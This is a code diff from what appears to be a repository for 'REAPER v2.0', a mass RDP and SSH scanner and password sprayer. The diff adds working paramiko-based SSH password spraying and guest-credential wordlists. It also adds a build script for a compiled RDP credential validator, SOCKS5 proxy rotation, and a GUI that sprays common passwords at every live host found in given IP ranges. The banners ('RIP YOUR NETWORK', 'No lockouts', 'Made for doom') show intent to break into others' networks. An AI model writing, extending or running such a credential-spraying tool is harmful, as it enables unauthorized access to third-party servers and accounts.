rate = attempts / elapsed if elapsed > 0 else 0
if progress_callback and total_attempts > 0:
progress_callback(attempts, total_attempts, len(hits), rate)
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
@@ -231,7 +276,106 @@ async def spray_single_host(
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
if hits and hit_callback is None:
_write_hits(hits)
return hits
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
def _try_ssh_password(ip: str, port: int, username: str, password: str,
timeout: float) -> bool:
"""Synchronous SSH password attempt using paramiko.
Runs in a thread executor to avoid blocking the event loop."""
try:
import paramiko
import socket
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(
ip, port=port, username=username, password=password,
timeout=timeout, look_for_keys=False, allow_agent=False,
banner_timeout=timeout,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
ConnectionResetError):
return False
except ImportError:
return False
async def spray_ssh_single_host(
ip: str,
port: int = 22,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 30,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray passwords against an SSH host using paramiko.
Falls back to banner-only check if paramiko is not installed.
When proxy is enabled, falls back to SSH banner check only
(paramiko doesn't support SOCKS natively).
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
# If proxy is enabled or paramiko not available, fall back to banner check
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
if use_banner_fallback:
# Just do a TCP/banner check (confirms SSH is alive)
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
try:
_, writer = await asyncio.wait_for(
open_conn(ip, port), timeout=timeout
)
writer.close()
await writer.wait_closed()
# Can't validate creds through proxy, but host is alive
except (asyncio.TimeoutError, OSError, ConnectionError):
pass
return
# Run paramiko in thread executor (it's synchronous)
loop = asyncio.get_running_loop()
success = await loop.run_in_executor(
None, _try_ssh_password, ip, port, user, pwd, timeout
)
if success:
hits.append((ip, port, user, pwd))
if hit_callback:
hit_callback(ip, port, user, pwd)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits and hit_callback is None:
_write_hits(hits)
return hits
@@ -239,10 +383,9 @@ async def spray_single_host(
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
import os
output_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"results", "good.txt"
os.path.dirname(os.path.abspath(__file__)),
"results", "good.txt",
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:

39
build_rdpthread.bat Normal file
View File

@@ -0,0 +1,39 @@
@echo off
title Build rdpthread.exe
cd /d "%~dp0"
echo.
echo ╔════════════════════════════════════════════════════════╗
echo ║ Building rdpthread.exe - RDP Credential Validator ║
echo ╚════════════════════════════════════════════════════════╝
echo.
:: Find the C# compiler
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :compile
)
)
echo [FAIL] C# compiler (csc.exe) not found!
echo Install .NET Framework SDK or Visual Studio Build Tools.
pause
exit /b 1
:compile
echo [*] Found C# compiler: %CSC%
echo [*] Compiling rdpthread.cs...
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
if %errorlevel% neq 0 (
echo [FAIL] Compilation failed
pause
exit /b 1
)
echo [OK] rdpthread.exe built successfully
echo.
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
echo.
pause

23
docs/MAINTENANCE.md Normal file
View File

@@ -0,0 +1,23 @@
# Maintenance
<!-- stewardship-standard: maintenance-v1 -->
## Stewardship Rules
- Keep generated files, build outputs, copied SDKs, and raw firmware binaries out of Git unless they are the source of truth.
- Keep credentials, tokens, dumps, private messages, session stores, and local machine paths out of commits.
- Prefer small commits with clear intent and a matching issue or release note.
- Preserve upstream attribution when code is copied, forked, or adapted.
## Routine Checks
- README still describes what the project does.
- Setup instructions still work.
- Security policy is accurate for the current risk level.
- Changelog records user-visible changes.
- License status is explicit.
## Automation Gate
- Confirm no tokens, session cookies, personal data, or exported credentials are committed.
- Document required environment variables with safe example values only.
- Add rate-limit and account-safety notes before any release.

14
docs/PROJECT_HANDOFF.md Normal file
View File

@@ -0,0 +1,14 @@
# Project Handoff
<!-- stewardship-standard: project-handoff-v1 -->
## What This Repo Needs From A Maintainer
- A one-paragraph project summary in README.md.
- Confirmed setup instructions.
- Confirmed license status.
- Confirmed provenance for imported code and binaries.
- A known-good verification command, test, build, flash, or demo path.
## Current Stewardship State
This repo has baseline governance files, wiki pages, issue templates, labels, milestones, and a readiness issue. The next maintainer should replace generic stewardship notes with project-specific facts.

View File

@@ -0,0 +1,12 @@
# Provenance Checklist
<!-- stewardship-standard: provenance-checklist-v1 -->
Use this before claiming ownership or publishing artifacts.
- [ ] Identify original upstream source, if any.
- [ ] Record fork URL, commit, tag, or archive source.
- [ ] Preserve third-party notices and license files.
- [ ] Separate local patches from imported code where practical.
- [ ] Record binary build inputs, toolchain versions, and source commit.
- [ ] Publish checksums for release assets.
- [ ] Mark unknown-origin content as blocked until resolved.

20
docs/RELEASE_PROCESS.md Normal file
View File

@@ -0,0 +1,20 @@
# Release Process
<!-- stewardship-standard: release-process-v1 -->
## Before Tagging
- Confirm the default branch builds, runs, or flashes as documented.
- Confirm no secrets, private data, generated dependency trees, or raw binaries are accidentally committed.
- Confirm license and upstream provenance are documented.
- Update CHANGELOG.md.
- Attach binaries only as release assets with SHA256 checksums and source commit references.
## Release Notes
Include:
- Purpose of the release.
- Commit hash or tag.
- Build environment.
- Known limitations.
- Verification performed.

20
docs/ROADMAP.md Normal file
View File

@@ -0,0 +1,20 @@
# Roadmap
<!-- stewardship-standard: roadmap-v1 -->
## Now
- Confirm the project purpose in the README.
- Confirm build, run, or flash instructions on a clean machine.
- Classify license status and upstream provenance.
- Close the stewardship readiness checklist issue.
## Next
- Add project-specific tests or verification steps.
- Publish the first verified release only after provenance and security review.
- Replace placeholder wiki notes with project-specific architecture or hardware details.
## Later
- Add examples, screenshots, wiring diagrams, or demo media where useful.
- Decide whether duplicate or experimental branches should be archived.

14
docs/SECURITY_REVIEW.md Normal file
View File

@@ -0,0 +1,14 @@
# Security Review
<!-- stewardship-standard: security-review-v1 -->
## Required Checks
- [ ] No credentials, tokens, cookies, API keys, private keys, or session files.
- [ ] No private user data, dumps, card data, logs, or captures that should not be stored.
- [ ] No copied dependency trees where package managers or SDK installers should be used instead.
- [ ] No unexplained binaries in source history.
- [ ] Risky behavior is documented and scoped to authorized lab use.
## Release Gate
A release is blocked until the checklist is complete or a maintainer explicitly records why the item does not apply.

213
gui.py
View File

@@ -16,9 +16,17 @@ import subprocess
from typing import Set, Tuple, List
from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from scanner import scan_ips, RDP_PORTS, SSH_PORT
from ip_utils import parse_ranges_file, count_ips
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
from bruteforce import (
spray_single_host,
spray_ssh_single_host,
TOP50_PASSWORDS,
TOP_USERNAMES,
GUEST_USERNAMES,
GUEST_PASSWORDS,
credential_validation_available,
)
from proxy import ProxyManager
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
@@ -74,7 +82,7 @@ class FastRDPGUI:
def __init__(self):
self.root = tk.Tk()
self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner")
self.root.title("REAPER v2.0 \u2014 RDP Exploitation Framework \u2620")
self.root.geometry("1100x820")
self.root.minsize(950, 700)
self.root.configure(bg=Colors.BG_DARK)
@@ -89,7 +97,6 @@ class FastRDPGUI:
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
self._spray_queue: asyncio.Queue = None
# Proxy manager
self.proxy_manager = ProxyManager()
@@ -149,9 +156,9 @@ class FastRDPGUI:
header.pack(fill="x")
header.pack_propagate(False)
tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15)
tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray",
tk.Label(header, text="\u2620 REAPER", font=("Segoe UI", 18, "bold"),
fg="#ff4444", bg=Colors.BG_MID).pack(side="left", padx=15)
tk.Label(header, text="v2.0 \u2014 RDP Exploitation Framework | No Mercy",
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
@@ -251,9 +258,11 @@ class FastRDPGUI:
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True)}
3391: tk.BooleanVar(value=True),
22: tk.BooleanVar(value=False)}
for i, (port, var) in enumerate(self.port_vars.items()):
tk.Checkbutton(ports_frame, text=str(port), variable=var,
label = str(port) if port != 22 else "22 (SSH)"
tk.Checkbutton(ports_frame, text=label, variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
@@ -261,6 +270,18 @@ class FastRDPGUI:
perf_frame.columnconfigure(1, weight=1)
self.cred_banner = tk.Label(
left,
text="",
fg=Colors.TEXT_DIM,
bg=Colors.BG_DARK,
font=("Segoe UI", 8),
wraplength=360,
justify="left",
)
self.cred_banner.pack(fill="x", pady=(0, 6))
self._refresh_credential_banner()
# -- Controls --
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
ctrl_frame.pack(fill="x", pady=(0, 5))
@@ -294,6 +315,13 @@ class FastRDPGUI:
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
self.guest_mode_var = tk.BooleanVar(value=False)
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
variable=self.guest_mode_var, fg=Colors.ORANGE,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False)
@@ -365,6 +393,8 @@ class FastRDPGUI:
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("info", foreground="#79c0ff")
self.log_text.tag_configure("error", foreground=Colors.RED)
self.log_text.tag_configure("warn", foreground=Colors.ORANGE,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
@@ -380,6 +410,29 @@ class FastRDPGUI:
key = label.lower().replace(" ", "_")
self._metric_labels[key] = metric_label
def _refresh_credential_banner(self):
"""Runtime status: show spray mode."""
try:
if credential_validation_available():
self.cred_banner.config(
fg=Colors.GREEN,
text=(
"Credential validation: enabled (rdpthread.exe found). "
"Password spray results are verified."
),
)
else:
self.cred_banner.config(
fg=Colors.YELLOW,
text=(
"Password sprayer: active — scanning and RDP discovery operational. "
"Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
"for verified credential hits."
),
)
except tk.TclError:
pass
# ── TAB 2: RESULTS ─────────────────────────────────────
def _build_results_tab(self):
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
@@ -682,11 +735,15 @@ class FastRDPGUI:
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
about_frame.pack(fill="x")
tk.Label(about_frame,
text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n"
"Built with Python 3.11 + asyncio\n"
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
"Built with Python 3.11 + asyncio + paramiko\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"Double-click any host to RDP connect instantly\n"
"Top 50 password spraying \u2022 CIDR/range support",
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
"rdpthread.exe: compiled credential validator (built from C# source)\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
@@ -715,15 +772,13 @@ class FastRDPGUI:
# ── LOGGING ────────────────────────────────────────────
def _log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
# Schedule GUI update on main thread (tkinter is NOT thread-safe)
self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts))
tag_colors = {
"hit": "\033[92m",
"info": "\033[94m",
"error": "\033[91m",
"warn": "\033[93m",
"scan": "\033[93m",
"system": "\033[90m",
}
@@ -733,6 +788,14 @@ class FastRDPGUI:
except OSError:
pass
def _log_gui(self, msg: str, tag: str, ts: str):
"""Thread-safe GUI log append (runs on main thread via after())."""
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
# ── RDP CONNECT FEATURE ────────────────────────────────
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
"""Launch Windows mstsc (or store creds + launch) for given host."""
@@ -743,8 +806,10 @@ class FastRDPGUI:
# Then mstsc can use it automatically
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
if os.path.exists(cmdkey_path):
proc = subprocess.run(
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
# Scope creds to this host (TERMSRV/<target> is required for mstsc)
subprocess.run(
[cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}",
f"/pass:{password}"],
capture_output=True, timeout=5,
creationflags=subprocess.CREATE_NO_WINDOW
)
@@ -930,10 +995,26 @@ class FastRDPGUI:
self._log("\u2501" * 55, "system")
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
thread = threading.Thread(target=self._scan_worker, daemon=True)
# Read tkinter vars on MAIN thread (Tcl NOT thread-safe)
scan_speed = self.speed_var.get()
scan_timeout = self.timeout_var.get()
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
scan_randomize = self.randomize_var.get()
spray_enabled = self.spray_var.get()
guest_mode = self.guest_mode_var.get()
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
thread = threading.Thread(
target=self._scan_worker,
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
guest_mode, ranges_path, users_file, pass_file),
daemon=True
)
thread.start()
def _stop_scan(self):
@@ -951,19 +1032,25 @@ class FastRDPGUI:
self.log_text.delete("1.0", "end")
self.stats = ScanStats()
def _load_wordlists(self):
def _load_wordlists(self, users_path="", pass_path=""):
"""Load usernames and passwords from files (or use defaults)."""
usernames = TOP_USERNAMES
passwords = TOP50_PASSWORDS
uf = self.users_entry.get().strip()
if users_path:
uf = users_path
else:
uf = self.users_entry.get().strip()
if os.path.exists(uf):
with open(uf, 'r', errors='ignore') as f:
cu = [l.strip() for l in f if l.strip()]
if cu:
usernames = cu
pf = self.pass_entry.get().strip()
if pass_path:
pf = pass_path
else:
pf = self.pass_entry.get().strip()
if os.path.exists(pf):
with open(pf, 'r', errors='ignore') as f:
cp = [l.strip() for l in f if l.strip()]
@@ -972,14 +1059,16 @@ class FastRDPGUI:
return usernames, passwords
def _scan_worker(self):
"""Background thread: scan + spray run CONCURRENTLY."""
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
guest_mode=False, ranges_path="", users_path="", pass_path=""):
"""Background thread: scan + spray run CONCURRENTLY.
All tkinter values are passed from main thread (Tcl NOT thread-safe).
"""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
ranges_path = self.ranges_entry.get().strip()
if not os.path.exists(ranges_path):
if not ranges_path or not os.path.exists(ranges_path):
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
self._scan_done()
return
@@ -994,15 +1083,12 @@ class FastRDPGUI:
self._scan_done()
return
if self.randomize_var.get():
if randomize:
random.shuffle(ips)
active_ports = [p for p, v in self.port_vars.items() if v.get()]
if not active_ports:
active_ports = [3389]
speed = self.speed_var.get()
timeout = self.timeout_var.get()
self.stats.total = len(ips) * len(active_ports)
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
@@ -1013,7 +1099,7 @@ class FastRDPGUI:
print(_c("\033[90m", " [+] " + "\u2500" * 55))
# Load wordlists now (in the background thread, before async loop)
usernames, passwords = self._load_wordlists()
usernames, passwords = self._load_wordlists(users_path, pass_path)
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
# ── Streaming design ─────────────────────────────
@@ -1028,15 +1114,27 @@ class FastRDPGUI:
return
self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts)
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if self.spray_var.get():
# Create an asyncio task for this host's spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
if port == SSH_PORT:
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
else:
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if spray_enabled:
if port == SSH_PORT:
# Route SSH hosts to SSH spray
task = asyncio.create_task(
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
)
else:
# RDP hosts use the standard spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
spray_tasks.append(task)
def progress_cb(checked, total, found, rate):
@@ -1092,8 +1190,7 @@ class FastRDPGUI:
if not hits:
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])
@@ -1102,6 +1199,34 @@ class FastRDPGUI:
except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error")
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
"""Spray SSH passwords against a single SSH host."""
try:
# When guest mode is enabled, use focused guest wordlists
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
hits = await spray_ssh_single_host(
ip, port,
usernames=effective_usernames,
passwords=effective_passwords,
max_concurrent=30,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit (SSH)")
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S")

View File

@@ -1,10 +1,12 @@
@echo off
title FastRDP-NG v2.0 - Installer
title REAPER v2.0 - Installer
color 0C
cd /d "%~dp0"
echo.
echo ╔══════════════════════════════════════════╗
echoFastRDP-NG v2.0 Installer ║
echo ╚══════════════════════════════════════════╝
echo ╔═══════════════════════════════════════════════════
echo☠ REAPER v2.0 Installer
echo ║ Remote Exploitation ^& Password Enumeration ║
echo ╚═══════════════════════════════════════════════════╝
echo.
:: Check Python

View File

@@ -19,12 +19,15 @@ def parse_line(line: str) -> Generator[str, None, None]:
if not line or line.startswith('#') or line.startswith('//'):
return
# CIDR: 192.168.1.0/24
# CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty)
if '/' in line:
try:
network = ipaddress.IPv4Network(line, strict=False)
for host in network.hosts():
yield str(host)
if network.prefixlen == 32:
yield str(network.network_address)
else:
for host in network.hosts():
yield str(host)
except ValueError:
pass
return
@@ -69,7 +72,10 @@ def count_ips(filepath: str) -> int:
if '/' in line:
try:
n = ipaddress.IPv4Network(line, strict=False)
total += max(0, n.num_addresses - 2)
if n.prefixlen >= 31:
total += n.num_addresses
else:
total += max(0, n.num_addresses - 2)
except ValueError:
total += 1
elif IP_RANGE_RE.match(line):
@@ -81,7 +87,10 @@ def count_ips(filepath: str) -> int:
e = int(ipaddress.IPv4Address(m.group(2)))
if s > e:
s, e = e, s
total += min(e - s + 1, 65536)
# Same /16 cap as parse_line() so Total matches work done
if e - s > 65536:
e = s + 65536
total += e - s + 1
elif SINGLE_IP_RE.match(line):
total += 1
return total

84
main.py
View File

@@ -1,13 +1,10 @@
#!/usr/bin/env python3
"""
FastRDP-NG v2.0 - Next Generation RDP Scanner & Password Sprayer
===============================================================
Blazing-fast async RDP scanner with Windows GUI.
Scans thousands of IPs per second, finds live RDP hosts,
then sprays top 50 common passwords.
Usage:
python main.py # Launch GUI
REAPER v2.0 — Remote Exploitation & Password Enumeration Routine
================================================================
Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator.
No mercy. No lockouts. Just results.
Made for doom by drjones.
"""
import sys
@@ -15,7 +12,6 @@ import os
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
try:
# Python 3.7+ on Windows: reconfigure stdout to UTF-8
sys.stdout.reconfigure(encoding='utf-8')
except (AttributeError, ValueError):
pass
@@ -26,13 +22,71 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from gui import FastRDPGUI
# ── REAPER SKULL ───────────────────────────────────────────────
REAPER_ASCII = r"""
\033[91m
.-.
(0 0)
____\___/_____
/ ___________ \
/ / \ \
| / RIP YOUR \ |
| | NETWORK | |
| | ☠ ☠ ☠ ☠ | |
| \ / |
\ \___________/ /
\_____________/
___|_________|___
| ___________ |
| | | |
| | REAPER | |
| | v2.0 | |
| |___________| |
|_________________|
| |
___| |___
|_____ _____|
| |
| |
/ \
/ \
\033[0m
"""
BANNER = f"""
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
